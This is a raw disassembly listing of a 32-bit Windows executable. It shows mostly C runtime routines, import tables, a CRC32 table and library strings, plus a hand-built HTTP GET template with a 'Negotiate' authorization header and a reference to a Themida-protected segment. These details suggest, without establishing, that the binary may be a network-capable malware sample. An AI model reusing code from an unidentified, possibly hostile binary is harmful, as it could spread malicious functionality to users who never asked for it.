sub_4260BA+16j ; ___:004264C4p ... cmp dword ptr [ecx+8], 0 mov dword ptr [ecx], offset off_427CF4 jz short locret_426579 push dword ptr [ecx+4] call sub_41D65F pop ecx locret_426579: ; CODE XREF: sub_426564+Aj retn sub_426564 endp ; =============== S U B R O U T I N E ======================================= sub_42657A proc near ; DATA XREF: ___:00427CF8o mov eax, [ecx+4] test eax, eax jnz short locret_426586 mov eax, offset aUnknownExcepti ; "Unknown exception" locret_426586: ; CODE XREF: sub_42657A+5j retn sub_42657A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_426587 proc near ; CODE XREF: sub_426173+37p ; sub_42629A+3Ep ... var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_10 = dword ptr -10h var_C = byte ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 20h mov eax, [ebp+arg_0] push esi push edi push 8 pop ecx mov esi, offset dword_427D10 lea edi, [ebp+var_20] rep movsd mov [ebp+var_8], eax mov eax, [ebp+arg_4] mov [ebp+var_4], eax lea eax, [ebp+var_C] push eax push [ebp+var_10] push [ebp+var_1C] push [ebp+var_20] call near ptr 26513DAh nop pop edi pop esi leave retn 8 sub_426587 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4265C1 proc near ; CODE XREF: sub_4263E5+56p ; sub_4263E5+63p var_2 = word ptr -2 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx mov eax, [ebp+arg_0] cmp ax, 0FFFFh jnz short loc_4265D3 or ax, ax leave retn ; --------------------------------------------------------------------------- loc_4265D3: ; CODE XREF: sub_4265C1+Bj cmp dword_4DBE84, 0 jnz short loc_4265ED cmp ax, 41h jb short locret_426634 cmp ax, 5Ah ja short locret_426634 add eax, 20h leave retn ; --------------------------------------------------------------------------- loc_4265ED: ; CODE XREF: sub_4265C1+19j cmp ax, 100h jnb short loc_426607 push 1 push eax call sub_42686F pop ecx test eax, eax pop ecx jnz short loc_426607 mov ax, word ptr [ebp+arg_0] leave retn ; --------------------------------------------------------------------------- loc_426607: ; CODE XREF: sub_4265C1+30j ; sub_4265C1+3Ej push 0 lea eax, [ebp+var_2] push 1 push eax lea eax, [ebp+arg_0] push 1 push eax push 100h push dword_4DBE84 call sub_426636 add esp, 1Ch test eax, eax mov ax, word ptr [ebp+arg_0] jz short locret_426634 mov ax, [ebp+var_2] locret_426634: ; CODE XREF: sub_4265C1+1Fj ; sub_4265C1+25j ... leave retn sub_4265C1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_426636 proc near ; CODE XREF: sub_4265C1+5Fp var_18 = dword ptr -18h push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_427D30 push offset sub_423CC0 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 1Ch push ebx push esi push edi mov [ebp+var_18], esp xor esi, esi cmp dword_4DC010, esi jnz short loc_4266AC push esi push esi push 1 pop ebx push ebx push offset dword_427920 mov edi, 100h push edi push esi nop call near ptr 2640000h test eax, eax sub_426636 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_426680 proc near ; DATA XREF: Themida_:0056616Eo jz short loc_42668A mov dword_4DC010, ebx jmp short loc_4266AC ; --------------------------------------------------------------------------- loc_42668A: ; CODE XREF: sub_426680j push esi push esi push ebx push offset word_4CB88C push edi push esi nop call near ptr 2650000h test eax, eax jz loc_42682B mov dword_4DC010, 2 loc_4266AC: ; CODE XREF: sub_426636+2Ej ; sub_426680+8j cmp [ebp+14h], esi jle short loc_4266C1 push dword ptr [ebp+14h] push dword ptr [ebp+10h] call sub_42683F pop ecx pop ecx mov [ebp+14h], eax loc_4266C1: ; CODE XREF: sub_426680+2Fj mov eax, dword_4DC010 cmp eax, 1 jnz short loc_4266E8 push dword ptr [ebp+1Ch] push dword ptr [ebp+18h] push dword ptr [ebp+14h] push dword ptr [ebp+10h] push dword ptr [ebp+0Ch] push dword ptr [ebp+8] nop call near ptr 2640000h jmp loc_42682D ; --------------------------------------------------------------------------- loc_4266E8: ; CODE XREF: sub_426680+49j cmp eax, 2 jnz loc_42682B cmp [ebp+20h], esi jnz short loc_4266FE mov eax, dword_4DBE94 mov [ebp+20h], eax loc_4266FE: ; CODE XREF: sub_426680+74j push esi push esi push esi push esi push dword ptr [ebp+14h] push dword ptr [ebp+10h] push 220h push dword ptr [ebp+20h] call near ptr 2860000h nop mov [ebp-20h], eax cmp eax, esi jz loc_42682B mov [ebp-4], esi add eax, 3 and al, 0FCh call sub_41C500 mov [ebp-18h], esp mov eax, esp mov [ebp-1Ch], eax jmp short loc_426744 ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp-18h] xor esi, esi mov [ebp-1Ch], esi loc_426744: ; CODE XREF: sub_426680+B6j or dword ptr [ebp-4], 0FFFFFFFFh cmp [ebp-1Ch], esi jz loc_42682B push esi push esi push dword ptr [ebp-20h] push dword ptr [ebp-1Ch] push dword ptr [ebp+14h] push dword ptr [ebp+10h] push 220h push dword ptr [ebp+20h] call near ptr 2860000h nop test eax, eax jz loc_42682B push esi push esi push dword ptr [ebp-20h] push dword ptr [ebp-1Ch] push dword ptr [ebp+0Ch] push dword ptr [ebp+8] nop call near ptr 2650000h mov edi, eax mov [ebp-2Ch], edi cmp edi, esi jz loc_42682B mov dword ptr [ebp-4], 1 add eax, 3 and al, 0FCh call sub_41C500 mov [ebp-18h], esp mov ebx, esp mov [ebp-24h], ebx or dword ptr [ebp-4], 0FFFFFFFFh jmp short loc_4267C7 ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp-18h] xor esi, esi xor ebx, ebx or dword ptr [ebp-4], 0FFFFFFFFh mov edi, [ebp-2Ch] loc_4267C7: ; CODE XREF: sub_426680+133j cmp ebx, esi jz short loc_42682B push edi push ebx push dword ptr [ebp-20h] push dword ptr [ebp-1Ch] push dword ptr [ebp+0Ch] push dword ptr [ebp+8] nop call near ptr 2650000h test eax, eax jz short loc_42682B test byte ptr [ebp+0Dh], 4 jz short loc_426805 mov eax, [ebp+1Ch] cmp eax, esi jz short loc_426827 cmp eax, edi jl short loc_4267F6 mov eax, edi loc_4267F6: ; CODE XREF: sub_426680+172j push eax push ebx push dword ptr [ebp+18h] call sub_41BFD0 add esp, 0Ch jmp short loc_426827 ; --------------------------------------------------------------------------- loc_426805: ; CODE XREF: sub_426680+167j cmp [ebp+1Ch], esi jnz short loc_42680E push esi push esi jmp short loc_426814 ; --------------------------------------------------------------------------- loc_42680E: ; CODE XREF: sub_426680+188j push dword ptr [ebp+1Ch] push dword ptr [ebp+18h] loc_426814: ; CODE XREF: sub_426680+18Cj push edi push ebx push 1 push dword ptr [ebp+20h] nop call near ptr 26F0000h mov edi, eax cmp edi, esi jz short loc_42682B loc_426827: ; CODE XREF: sub_426680+16Ej ; sub_426680+183j mov eax, edi jmp short loc_42682D ; --------------------------------------------------------------------------- loc_42682B: ; CODE XREF: sub_426680+1Cj ; sub_426680+6Bj ... xor eax, eax loc_42682D: ; CODE XREF: sub_426680+63j ; sub_426680+1A9j lea esp, [ebp-38h] mov ecx, [ebp-10h] mov large fs:0, ecx pop edi pop esi pop ebx leave retn sub_426680 endp ; =============== S U B R O U T I N E ======================================= sub_42683F proc near ; CODE XREF: sub_426680+37p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov edx, [esp+arg_4] mov eax, [esp+arg_0] test edx, edx push esi lea ecx, [edx-1] jz short loc_42685E loc_42684F: ; CODE XREF: sub_42683F+1Dj cmp word ptr [eax], 0 jz short loc_42685E inc eax mov esi, ecx inc eax dec ecx test esi, esi jnz short loc_42684F loc_42685E: ; CODE XREF: sub_42683F+Ej ; sub_42683F+14j cmp word ptr [eax], 0 pop esi jnz short loc_42686C sub eax, [esp+arg_0] sar eax, 1 retn ; --------------------------------------------------------------------------- loc_42686C: ; CODE XREF: sub_42683F+24j mov eax, edx retn sub_42683F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42686F proc near ; CODE XREF: sub_4265C1+35p var_4 = dword ptr -4 arg_0 = word ptr 8 arg_4 = word ptr 0Ch push ebp mov ebp, esp push ecx cmp [ebp+arg_0], 0FFFFh jz short loc_4268AF cmp [ebp+arg_0], 100h jnb short loc_426893 movzx eax, [ebp+arg_0] mov ecx, off_43CE7C mov ax, [ecx+eax*2] jmp short loc_4268B6 ; --------------------------------------------------------------------------- loc_426893: ; CODE XREF: sub_42686F+12j push 0 lea eax, [ebp+var_4] push 0 push eax lea eax, [ebp+arg_0] push 1 push eax push 1 call sub_4268C1 add esp, 18h test eax, eax jnz short loc_4268B3 loc_4268AF: ; CODE XREF: sub_42686F+Aj xor eax, eax leave retn ; --------------------------------------------------------------------------- loc_4268B3: ; CODE XREF: sub_42686F+3Ej mov eax, [ebp+var_4] loc_4268B6: ; CODE XREF: sub_42686F+22j movzx ecx, [ebp+arg_4] movzx eax, ax and eax, ecx leave retn sub_42686F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4268C1 proc near ; CODE XREF: sub_42686F+34p var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = byte ptr -1Ch var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_427D48 push offset sub_423CC0 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 1Ch push ebx push esi push edi mov [ebp+var_18], esp mov eax, dword_4DC014 xor edi, edi cmp eax, edi jnz short loc_426930 lea eax, [ebp+var_1C] push eax push 1 pop esi push esi push offset dword_427920 push esi nop call near ptr 2600000h test eax, eax jz short loc_42690E mov eax, esi jmp short loc_42692B ; --------------------------------------------------------------------------- loc_42690E: ; CODE XREF: sub_4268C1+47j lea eax, [ebp+var_1C] push eax push esi push offset word_4CB88C push esi push edi nop call near ptr 2610000h test eax, eax jz loc_426A72 push 2 pop eax loc_42692B: ; CODE XREF: sub_4268C1+4Bj mov dword_4DC014, eax loc_426930: ; CODE XREF: sub_4268C1+2Fj cmp eax, 1 jnz short loc_42694C push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] nop call near ptr 2600000h jmp loc_426A74 ; --------------------------------------------------------------------------- loc_42694C: ; CODE XREF: sub_4268C1+72j cmp eax, 2 jnz loc_426A72 cmp [ebp+arg_10], edi jnz short loc_426962 mov eax, dword_4DBE94 mov [ebp+arg_10], eax loc_426962: ; CODE XREF: sub_4268C1+97j push edi push edi push edi push edi push [ebp+arg_8] push [ebp+arg_4] push 220h push [ebp+arg_10] call near ptr 2860000h nop mov esi, eax mov [ebp+var_28], esi cmp esi, edi jz loc_426A72 mov [ebp+var_4], edi add eax, 3 and al, 0FCh call sub_41C500 mov [ebp+var_18], esp mov eax, esp mov [ebp+var_2C], eax push esi push edi push eax call sub_41BF70 add esp, 0Ch or [ebp+var_4], 0FFFFFFFFh jmp short loc_4269C0 ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] xor edi, edi mov [ebp+var_2C], edi or [ebp+var_4], 0FFFFFFFFh mov esi, [ebp+var_28] loc_4269C0: ; CODE XREF: sub_4268C1+EAj cmp [ebp+var_2C], edi jz loc_426A72 push edi push edi push esi push [ebp+var_2C] push [ebp+arg_8] push [ebp+arg_4] push 220h push [ebp+arg_10] nop call near ptr 2860000h test eax, eax jz loc_426A72 mov [ebp+var_4], 1 lea eax, [esi+esi+2] add eax, 3 and al, 0FCh call sub_41C500 mov [ebp+var_18], esp mov ebx, esp mov [ebp+var_24], ebx jmp short loc_426A15 ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] xor edi, edi xor ebx, ebx loc_426A15: ; CODE XREF: sub_4268C1+147j or [ebp+var_4], 0FFFFFFFFh cmp ebx, edi jz short loc_426A72 mov eax, [ebp+arg_14] cmp eax, edi jnz short loc_426A29 mov eax, dword_4DBE84 loc_426A29: ; CODE XREF: sub_4268C1+161j mov ecx, [ebp+arg_8] lea edi, [ecx+ecx] lea esi, [edi+ebx] or word ptr [esi], 0FFFFh or word ptr [esi-2], 0FFFFh push ebx push [ebp+var_28] push [ebp+var_2C] push [ebp+arg_0] push eax call near ptr 2610000h nop mov [ebp+var_20], eax cmp word ptr [esi-2], 0FFFFh jz short loc_426A72 cmp word ptr [esi], 0FFFFh jnz short loc_426A72 push edi push ebx push [ebp+arg_C] call sub_41D670 add esp, 0Ch mov eax, [ebp+var_20] jmp short loc_426A74 ; --------------------------------------------------------------------------- loc_426A72: ; CODE XREF: sub_4268C1+61j ; sub_4268C1+8Ej ... xor eax, eax loc_426A74: ; CODE XREF: sub_4268C1+86j ; sub_4268C1+1AFj lea esp, [ebp-38h] mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn sub_4268C1 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_426A88 proc near ; DATA XREF: ___:00427EFCo ; FUNCTION CHUNK AT 0040D76C SIZE 00000008 BYTES lea ecx, [ebp-38h] jmp loc_40D76C sub_426A88 endp ; --------------------------------------------------------------------------- mov eax, [ebp-20h] and eax, 1 test eax, eax jz locret_426AA6 mov ecx, [ebp+8] jmp loc_40D76C ; --------------------------------------------------------------------------- locret_426AA6: ; CODE XREF: ___:00426A98j retn ; --------------------------------------------------------------------------- loc_426AA7: ; DATA XREF: sub_40D340o mov eax, offset dword_427ED0 jmp loc_41D2FB ; --------------------------------------------------------------------------- align 4 lea ecx, [ebp+14h] jmp loc_40D76C ; --------------------------------------------------------------------------- loc_426ABC: ; DATA XREF: ___:00427F2Co lea ecx, [ebp-1Ch] jmp loc_40D76C ; --------------------------------------------------------------------------- loc_426AC4: ; DATA XREF: sub_40D4E2o mov eax, offset dword_427F00 jmp loc_41D2FB ; --------------------------------------------------------------------------- align 10h loc_426AD0: ; DATA XREF: sub_40DA4Fo mov eax, offset dword_427F30 jmp loc_41D2FB ; --------------------------------------------------------------------------- mov ecx, [ebp-14h] jmp sub_426564 ; --------------------------------------------------------------------------- loc_426AE2: ; DATA XREF: sub_4260FEo mov eax, offset dword_427F90 jmp loc_41D2FB ; --------------------------------------------------------------------------- lea ecx, [ebp-20h] jmp loc_40D76C ; --------------------------------------------------------------------------- loc_426AF4: ; DATA XREF: sub_426173o mov eax, offset dword_428028 jmp loc_41D2FB ; --------------------------------------------------------------------------- mov ecx, [ebp-14h] jmp sub_426564 ; --------------------------------------------------------------------------- loc_426B06: ; DATA XREF: sub_4261D0o mov eax, offset dword_42804C jmp loc_41D2FB ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] jmp sub_426564 ; --------------------------------------------------------------------------- loc_426B18: ; DATA XREF: sub_426218o mov eax, offset dword_428070 jmp loc_41D2FB ; --------------------------------------------------------------------------- lea ecx, [ebp-20h] jmp loc_40D76C ; --------------------------------------------------------------------------- loc_426B2A: ; DATA XREF: sub_42629Ao mov eax, offset dword_4280D0 jmp loc_41D2FB ; --------------------------------------------------------------------------- dd 133h dup(0) dd 25E0000h, 25F0000h, 25F0A3Eh, 25F0ABDh, 25F0EECh, 2600000h dd 2610000h, 2610869h, 2610C5Dh, 2620000h, 262081Bh, 26209DFh dword_427030 dd 26209FDh ; DATA XREF: ___:004239E2r dd 2620A63h, 2620DB9h, 2620DEEh, 2630000h, 2640000h, 2650000h dd 2651063h, 26513DAh, 265189Ch, 26518BBh, 26518FDh, 2660000h dword_427064 dd 266046Dh ; DATA XREF: sub_41F216:loc_41F247r dword_427068 dd 26605D2h ; DATA XREF: sub_41E742+240r dd 77E75CB5h dword_427070 dd 266076Ah ; DATA XREF: sub_40111D+B8r ; ___:004014FCr ... dd 2660A8Bh, 2670000h, 2670A44h dword_427080 dd 2680000h ; DATA XREF: sub_40111D+29r ; sub_40C3E8+2E9r ... dword_427084 dd 2680089h ; DATA XREF: ___:004015E2r ; sub_4116D6+32r dd 268021Bh dword_42708C dd 26802ECh ; DATA XREF: sub_419C09+B9r dd 2680833h dword_427094 dd 2680880h ; DATA XREF: sub_4119F9:loc_411A8Ar dword_427098 dd 26808C6h ; DATA XREF: ___:loc_4013DCr dd 2680C82h, 2680D81h dword_4270A4 dd 2680E9Ah ; DATA XREF: sub_409909+2r dd 2690000h, 269010Dh dword_4270B0 dd 2690794h ; DATA XREF: ___:0040124Dr ; sub_41AA1E+8Cr dword_4270B4 dd 2690845h ; DATA XREF: sub_4116D6:loc_4117C2r dd 26A0000h, 26A0C47h dword_4270C0 dd 26A0CEEh ; DATA XREF: sub_409909:loc_409E17r dword_4270C4 dd 26B0000h ; DATA XREF: sub_409909+11r ; sub_4172C1+60r ... dd 26C0000h, 26D0000h, 26D0613h, 26E0000h, 77F7E300h, 77F7E21Fh dd 26E0632h, 26E07BAh dword_4270E8 dd 26F0000h ; DATA XREF: sub_419177+Fr ; sub_41E0D4+54r dword_4270EC dd 2700000h ; DATA XREF: sub_4119F9+Br dd 2710000h, 2720000h dword_4270F8 dd 272081Ah ; DATA XREF: sub_4187E0+36r dd 2720A41h, 2730000h dword_427104 dd 2730554h ; DATA XREF: sub_411920+3Ar ; sub_41A1B1+79r dword_427108 dd 2740000h ; DATA XREF: sub_411827+23r ; sub_41A1B1+3Br dd 2750000h, 2760000h, 276095Dh, 2770000h, 27704F1h, 2780000h dd 2790000h, 27A0000h, 27A0995h, 27A0CE1h, 27A0DC2h, 27B0000h dd 27B03A7h, 27C0000h, 27C0860h dword_427148 dd 27D0000h ; DATA XREF: sub_4172C1+BCr dd 27E0000h dword_427150 dd 27F0000h ; DATA XREF: sub_417493+21r ; sub_41761C+4Ar dword_427154 dd 27F0AF2h ; DATA XREF: sub_417493+10r ; sub_41761C+40r ... dd 27F0B38h dword_42715C dd 27F0D61h ; DATA XREF: sub_41761C+56r dd 2800000h, 2810000h, 2820000h, 28206F1h, 2830000h, 2830326h dd 283053Ah, 2840000h, 28407ABh, 2850000h dword_427188 dd 2860000h ; DATA XREF: sub_4190A5+13r ; ___:00423A57r dd 2870000h, 28704D7h, 28708CBh, 2870C59h, 2880000h, 2890000h dd 28A0000h, 28B0000h, 28B19C1h, 28B19C9h, 28C0000h, 28C0CA4h dd 28D0000h, 0 dd 71AB5A01h, 71AB4122h dword_4271CC dd 71AB1746h ; DATA XREF: sub_4131EC+1DEr dd 71AB401Ch, 71AB1836h, 71AB41DAh, 71AB3F8Dh, 71AB155Ah dd 71AB3ECEh, 71AB5DE2h, 71AB868Dh, 71AB12F8h, 71AB1746h dd 71AB3E5Dh dword_4271FC dd 71AB5690h ; DATA XREF: sub_40E9FB+6Ar dd 71AB1A6Dh, 71AB3C22h, 71AB1AF4h, 71AB1890h, 71AB1B7Bh dd 71AB157Eh, 2 dup(0) dword_427220 dd 0 ; DATA XREF: sub_401070+26r dd 77073096h, 0EE0E612Ch, 990951BAh, 76DC419h, 706AF48Fh dd 0E963A535h, 9E6495A3h, 0EDB8832h, 79DCB8A4h, 0E0D5E91Eh dd 97D2D988h, 9B64C2Bh, 7EB17CBDh, 0E7B82D07h, 90BF1D91h dd 1DB71064h, 6AB020F2h, 0F3B97148h, 84BE41DEh, 1ADAD47Dh dd 6DDDE4EBh, 0F4D4B551h, 83D385C7h, 136C9856h, 646BA8C0h dd 0FD62F97Ah, 8A65C9ECh, 14015C4Fh, 63066CD9h, 0FA0F3D63h dd 8D080DF5h, 3B6E20C8h, 4C69105Eh, 0D56041E4h, 0A2677172h dd 3C03E4D1h, 4B04D447h, 0D20D85FDh, 0A50AB56Bh, 35B5A8FAh dd 42B2986Ch, 0DBBBC9D6h, 0ACBCF940h, 32D86CE3h, 45DF5C75h dd 0DCD60DCFh, 0ABD13D59h, 26D930ACh, 51DE003Ah, 0C8D75180h dd 0BFD06116h, 21B4F4B5h, 56B3C423h, 0CFBA9599h, 0B8BDA50Fh dd 2802B89Eh, 5F058808h, 0C60CD9B2h, 0B10BE924h, 2F6F7C87h dd 58684C11h, 0C1611DABh, 0B6662D3Dh, 76DC4190h, 1DB7106h dd 98D220BCh, 0EFD5102Ah, 71B18589h, 6B6B51Fh, 9FBFE4A5h dd 0E8B8D433h, 7807C9A2h, 0F00F934h, 9609A88Eh, 0E10E9818h dd 7F6A0DBBh, 86D3D2Dh, 91646C97h, 0E6635C01h, 6B6B51F4h dd 1C6C6162h, 856530D8h, 0F262004Eh, 6C0695EDh, 1B01A57Bh dd 8208F4C1h, 0F50FC457h, 65B0D9C6h, 12B7E950h, 8BBEB8EAh dd 0FCB9887Ch, 62DD1DDFh, 15DA2D49h, 8CD37CF3h, 0FBD44C65h dd 4DB26158h, 3AB551CEh, 0A3BC0074h, 0D4BB30E2h, 4ADFA541h dd 3DD895D7h, 0A4D1C46Dh, 0D3D6F4FBh, 4369E96Ah, 346ED9FCh dd 0AD678846h, 0DA60B8D0h, 44042D73h, 33031DE5h, 0AA0A4C5Fh dd 0DD0D7CC9h, 5005713Ch, 270241AAh, 0BE0B1010h, 0C90C2086h dd 5768B525h, 206F85B3h, 0B966D409h, 0CE61E49Fh, 5EDEF90Eh dd 29D9C998h, 0B0D09822h, 0C7D7A8B4h, 59B33D17h, 2EB40D81h dd 0B7BD5C3Bh, 0C0BA6CADh, 0EDB88320h, 9ABFB3B6h, 3B6E20Ch dd 74B1D29Ah, 0EAD54739h, 9DD277AFh, 4DB2615h, 73DC1683h dd 0E3630B12h, 94643B84h, 0D6D6A3Eh, 7A6A5AA8h, 0E40ECF0Bh dd 9309FF9Dh, 0A00AE27h, 7D079EB1h, 0F00F9344h, 8708A3D2h dd 1E01F268h, 6906C2FEh, 0F762575Dh, 806567CBh, 196C3671h dd 6E6B06E7h, 0FED41B76h, 89D32BE0h, 10DA7A5Ah, 67DD4ACCh dd 0F9B9DF6Fh, 8EBEEFF9h, 17B7BE43h, 60B08ED5h, 0D6D6A3E8h dd 0A1D1937Eh, 38D8C2C4h, 4FDFF252h, 0D1BB67F1h, 0A6BC5767h dd 3FB506DDh, 48B2364Bh, 0D80D2BDAh, 0AF0A1B4Ch, 36034AF6h dd 41047A60h, 0DF60EFC3h, 0A867DF55h, 316E8EEFh, 4669BE79h dd 0CB61B38Ch, 0BC66831Ah, 256FD2A0h, 5268E236h, 0CC0C7795h dd 0BB0B4703h, 220216B9h, 5505262Fh, 0C5BA3BBEh, 0B2BD0B28h dd 2BB45A92h, 5CB36A04h, 0C2D7FFA7h, 0B5D0CF31h, 2CD99E8Bh dd 5BDEAE1Dh, 9B64C2B0h, 0EC63F226h, 756AA39Ch, 26D930Ah dd 9C0906A9h, 0EB0E363Fh, 72076785h, 5005713h, 95BF4A82h dd 0E2B87A14h, 7BB12BAEh, 0CB61B38h, 92D28E9Bh, 0E5D5BE0Dh dd 7CDCEFB7h, 0BDBDF21h, 86D3D2D4h, 0F1D4E242h, 68DDB3F8h dd 1FDA836Eh, 81BE16CDh, 0F6B9265Bh, 6FB077E1h, 18B74777h dd 88085AE6h, 0FF0F6A70h, 66063BCAh, 11010B5Ch, 8F659EFFh dd 0F862AE69h, 616BFFD3h, 166CCF45h, 0A00AE278h, 0D70DD2EEh dd 4E048354h, 3903B3C2h, 0A7672661h, 0D06016F7h, 4969474Dh dd 3E6E77DBh, 0AED16A4Ah, 0D9D65ADCh, 40DF0B66h, 37D83BF0h dd 0A9BCAE53h, 0DEBB9EC5h, 47B2CF7Fh, 30B5FFE9h, 0BDBDF21Ch dd 0CABAC28Ah, 53B39330h, 24B4A3A6h, 0BAD03605h, 0CDD70693h dd 54DE5729h, 23D967BFh, 0B3667A2Eh, 0C4614AB8h, 5D681B02h dd 2A6F2B94h, 0B40BBE37h, 0C30C8EA1h, 5A05DF1Bh, 2D02EF8Dh dword_427620 dd 2Eh ; DATA XREF: sub_401ACD+3428o ; sub_401ACD+3514o ... dword_427624 dd 2Eh ; DATA XREF: sub_401ACD+3850o ; sub_401ACD+388Ao ... aGetHttp1_0Host db 'GET / HTTP/1.0',0Dh,0Ah ; DATA XREF: sub_40D4E2+62o db 'Host: %s',0Dh,0Ah db 'Authorization: Negotiate %s',0Dh,0Ah db 0Dh,0Ah,0 align 8 dbl_427668 dq 1.388888888888889e-2 ; DATA XREF: sub_40D2F4+2Fr dbl_427670 dq 1.666666666666667e-1 ; DATA XREF: sub_40D2F4+15r dword_427678 dd 0FFFFFFFFh ; DATA XREF: sub_40D340+16Fr ; sub_40D774r ... align 10h dbl_427680 dq 1.333333333333333 ; DATA XREF: sub_40D340+79r dword_427688 dd 2 dup(0) ; DATA XREF: sub_40D4E2+4Do ; sub_40D824+5Bo ... dbl_427690 dq 9.765625e-4 ; DATA XREF: ___:00416A5Dr ; ___:00416A78r ... dbl_427698 dq -1.52587890625e-4 ; DATA XREF: sub_417E84+3E5r dbl_4276A0 dq 3.0517578125e-4 ; DATA XREF: sub_417E84+3C5r dbl_4276A8 dq -3.0517578125e-4 ; DATA XREF: sub_417E84+342r ; sub_417E84+3A7r dbl_4276B0 dq 1.52587890625e-4 ; DATA XREF: sub_417E84+271r dbl_4276B8 dq -1.739501953125e-3 ; DATA XREF: sub_417E84+24Br ; sub_417E84+2D5r ... dbl_4276C0 dq 3.11279296875e-3 ; DATA XREF: sub_417E84+E1r dbl_4276C8 dq 3.0517578125e-5 ; DATA XREF: sub_417E84+AEr ; sub_417E84+138r ... dbl_4276D0 dq 6.103515625e-5 ; DATA XREF: sub_417E84+93r ; sub_417E84+308r dbl_4276D8 dq 2.288818359375e-3 ; DATA XREF: sub_417E84+21r dbl_4276E0 dq -3.0517578125e-5 ; DATA XREF: sub_418BD1+2Br flt_4276E8 dd 9.765625e-4 ; DATA XREF: sub_41AA1E+1B0r flt_4276EC dd 8.0 ; DATA XREF: sub_41AA1E+1AAr flt_4276F0 dd 0.0 ; DATA XREF: sub_41AA1E+171r flt_4276F4 dd 1.0e-3 ; DATA XREF: sub_41AA1E+168r dbl_4276F8 dq 1.0 ; DATA XREF: sub_41D055+6Cr ; sub_41D19B+6Cr ... dd 0FFFFFFFFh, 41E2AAh, 41E2BEh a__global_heap_ db '__GLOBAL_HEAP_SELECTED',0 ; DATA XREF: ___:0041E5B8o align 4 a__msvcrt_heap_ db '__MSVCRT_HEAP_SELECT',0 ; DATA XREF: ___:0041E579o align 4 byte_42773C db 6 ; DATA XREF: sub_41FF3F:loc_41FF96r db 2 dup(0), 6 dd 100h, 6030010h, 10020600h, 45454504h, 5050505h, 303505h dd 50h, 38282000h, 8075850h, 30303700h, 75057h, 8202000h dd 0 dd 60686008h, 606060h, 78707000h, 8787878h, 807h, 8080007h dd 8000008h, 7000800h, 8 aNull: ; DATA XREF: ___:off_43D094o unicode 0, <(null)>,0 align 4 aNull_0 db '(null)',0 ; DATA XREF: ___:off_43D090o align 10h a_yn db '_yn',0 a_y1 db '_y1',0 a_y0 db '_y0',0 aFrexp db 'frexp',0 align 4 aFmod db 'fmod',0 align 4 a_hypot db '_hypot',0 align 4 a_cabs db '_cabs',0 align 4 aLdexp db 'ldexp',0 align 4 aModf db 'modf',0 align 4 aFabs db 'fabs',0 align 4 aFloor db 'floor',0 align 4 aCeil db 'ceil',0 align 4 aTan db 'tan',0 aCos db 'cos',0 aSin db 'sin',0 aSqrt db 'sqrt',0 align 4 aAtan2 db 'atan2',0 align 10h aAtan db 'atan',0 align 4 aAcos db 'acos',0 align 10h aAsin db 'asin',0 align 4 aTanh db 'tanh',0 align 10h aCosh db 'cosh',0 align 4 aSinh db 'sinh',0 align 10h aLog10 db 'log10',0 align 4 aPow db 'pow',0 aExp db 'exp',0 ; DATA XREF: ___:off_43D30Co dbl_427860 dq 0.0 ; DATA XREF: sub_421BFF+8Cr ; sub_421BFF+ACr ... dbl_427868 dq 4.195835e6 ; DATA XREF: sub_422114+Fr dbl_427870 dq 3.145727e6 ; DATA XREF: sub_422114+6r aIsprocessorfea db 'IsProcessorFeaturePresent',0 ; DATA XREF: sub_422152+Fo align 4 aKernel32 db 'KERNEL32',0 ; DATA XREF: sub_422152o align 10h aE000 db 'e+000',0 ; DATA XREF: sub_422279+93o align 4 dword_4278A8 dd 0FFFFFFFFh, 422964h, 42296Eh, 0 ; DATA XREF: sub_4228FD+5o dword_4278B8 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_422A2C+5o dd offset loc_422AEA align 8 dd offset sub_422AC8 dd offset sub_422AD2 dword_4278D0 dd 0FFFFFFFFh, 422D1Ah, 422D1Eh, 0 ; DATA XREF: sub_422B62+5o dword_4278E0 dd 0FFFFFFFFh, 422D7Ch, 422D85h, 0 ; DATA XREF: sub_422D26+5o dword_4278F0 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_422DFC+5o dd offset loc_422E4D align 10h dd offset loc_422E39 dd offset loc_422E3D dword_427908 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_422E52+5o dd offset loc_422EA3 align 8 dd offset loc_422E8F dd offset loc_422E93 dword_427920 dd 2 dup(0) ; DATA XREF: sub_4232A8+36o ; sub_4244F4+39o ... dword_427928 dd 0FFFFFFFFh, 4233B8h, 4233BCh, 0FFFFFFFFh, 42346Ch, 423470h ; DATA XREF: sub_4232A8+5o dd 746E7572h, 20656D69h, 6F727265h, 2072h, 534F4C54h, 72652053h dd 0D726F72h, 0Ah, 474E4953h, 72726520h, 0A0D726Fh, 0 dd 